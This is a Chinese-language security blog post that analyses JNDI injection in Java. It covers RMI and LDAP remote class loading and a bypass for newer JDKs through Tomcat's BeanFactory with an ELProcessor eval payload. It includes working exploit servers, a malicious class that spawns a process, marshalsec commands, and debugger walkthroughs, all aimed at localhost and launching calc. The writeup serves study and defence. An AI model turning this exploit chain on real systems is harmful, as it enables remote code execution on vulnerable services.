JNDI介绍
JNDI(Java Naming and Directory Interface，Java命名和目录接口)是为Java应用程序提供命名和目录访问服务的API，允许客户端通过名称发现和查找数据、对象，用于提供基于配置的动态调用。这些对象可以存储在不同的命名或目录服务中，例如RMI、CORBA、LDAP、DNS等。其中Naming Service类似于哈希表的K/V对，通过名称去获取对应的服务。Directory Service是一种特殊的Naming Service，用类似目录的方式来存取服务。
从介绍看可以知道JNDI分为四种服务
- RMI
- LDAP
- DNS
- CORBA
RMI之前已经分析过了，今天就来研究剩下的服务
JNDI的简单应用
以rmi为例子，我们先准备rmi的服务端，然后再创建JNDI的服务端与客户端，这里用marshalsec-0.0.3-SNAPSHOT-all.jar搭建的rmi服务
package org.example;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
public class JNDIRmiServer {
public static void main(String[] args) throws NamingException {
// 创建一个上下文对象
InitialContext context = new InitialContext();
// 创建一个引用，第一个参数是恶意class的名字，第二个参数是beanfactory的名字，我们自定义(和class文件对应),第三个参数表示恶意class的地址
Reference ref = new Reference("evilref", "evilref", "http://127.0.0.1:8888/");
context.rebind("rmi://127.0.0.1:1099/evilref", ref);
}
}
import java.io.IOException;
public class evilref {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
public static void main(String[] args) {
}
}
package org.example;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIRmiClient {
public static void main(String[] args) throws NamingException {
InitialContext context = new InitialContext();
context.lookup("rmi://127.0.0.1:1099/evilref");
}
}
成功弹出计算器
在这个过程中lookup实际上就是去寻找了我们自定义的引用对象Ref，然后实例化触发了calc
发现上面的JNDI服务端根本没用到.....
JNDI注入--RMI
lookup处打个断点
调用里面的lookup，而这个lookup实际上指的是GenericURLContext#lookup，这次JNDI调用的是RMI服务，因此进入到了GenericURLContext，对应不同的服务contenxt也会不同，继续跟进
继续跟进lookup
这里又进入lookup，不过这个lookup是注册中心的lookup，我们在讲RMI的时候分析过，这是一个潜在的反序列化漏洞点，略过这里，进入decodeObject
本来我们传入的object是一个引用类型，到这里变成了引用Wrapper，再结合方法的名字，可以判断在JNDI服务端可能做了一层"加密"，我们客户端先停在这里，我们调试一下服务端，同样进入rebind
跟bind一样进入GenericURLContext
进入rebind
又是注册Registry的rebind方法，可以看到这里确实进行了encode
返回客户端，进入decodeObject
跟进getObjectInstance方法
refInfo是引用类型，所以进入getObjectFactoryFromReference获取对象工厂，跟进
可以看到我们的自定义ref引用进来了，通过loadClass进行加载，远程加载并且实例化
这里需注意jdk版本，jdk8u121之后就修复了这个远程加载恶意类
修复方案
在2016年后对RMI对应的context进行了修复，添加了判断条件，JDK 6u45、7u21后，java.rmi.server.useCodebaseOnly 的值默认为true。也就没法进入getObjectInstance了
JNDI注入--LDAP
虽然Java设计师修复了RMI，但是发现这个漏洞的师傅简单挖挖又发现了ldap也能JNDI注入（，分析一下，笔者所用jdk版本8u65
LDAP介绍
啥是ldap服务呢，可以把ldap理解为一个储存协议的数据库，它分为DN DC CN OU四个部分
树层次分为以下几层：
- dn：一条记录的详细位置，由以下几种属性组成
- dc: 一条记录所属区域（哪一个树，相当于MYSQL的数据库）
- ou：一条记录所处的分叉（哪一个分支，支持多个ou，代表分支后的分支）
- cn/uid：一条记录的名字/ID（树的叶节点的编号，相当于MYSQL的表主键）
LDAP创建
还是使用 java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8888/#evilref 1099，这样LDAP就启动了
package org.example;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDILDAPClient {
public static void main(String[] args) throws NamingException {
InitialContext context = new InitialContext();
context.lookup("ldap://127.0.0.1:1099/evilref");
}
}
流程分析
还是在lookup打断点跟进，进入ldapURLContext
进入父类的lookup，来到GenericURLContext
继续跟进lookup，来到PartialCompositeContext
继续跟进var2.p_lookup
再进入c_lookup
往下看也是进入了decodeObject
往下走进入decodeReference
进入Reference,往下走，来到这，眼熟的很，跟rmi一样的操作
跟进这个对象工厂，loadClass
远程加载恶意类并实例化
JNDI注入--RMI高版本绕过
换个高版本的jdk，我使用jdk8u202，简单跑一下，可以发现弹不了计算器了
经过一系列的构式调试，进到最后，这里有个判断，阻止了我们实例化类
那么我们怎么绕过这个呢？我们关键的方法是NamingManager#getObjectFactoryFromReference
到上面实例化的地方，我们的类其实已经被加载初始化了，所以我们只需要找到继承ObjectFactory的类，因为这样会调用getObjectFactoryFromReference我们找到BeanFactory，这个是在tomcat的依赖包中，我们添加依赖：
<dependencies>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.el</groupId>
<artifactId>com.springsource.org.apache.el</artifactId>
<version>7.0.26</version>
</dependency>
</dependencies>
然后就能找到BeanFactory了，这里存在反射调用method
构造一下服务端：
package org.example;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIRmiServer {
public static void main(String[] args) throws NamingException {
try{
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("calc", referenceWrapper);
} catch (Exception e) {
System.err.println("Server exception: " + e.toString());
e.printStackTrace();
}
}
}
package org.example;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIRmiClient {
public static void main(String[] args) throws NamingException {
InitialContext context = new InitialContext();
context.lookup("rmi://localhost:1099/calc");
}
}
成功弹出计算器
流程分析
还是lookup打断点，直接定位到getObjectFactoryFromReference
跟进到loadClass，可以发现factoryName是BeanFactory
继续跟进，出来后，进去factory.getObjectInstance
这里获取forceString的值
这里取到eval
这里获取我们写入的恶意代码，value，然后invoke执行
到此分析结束
评论区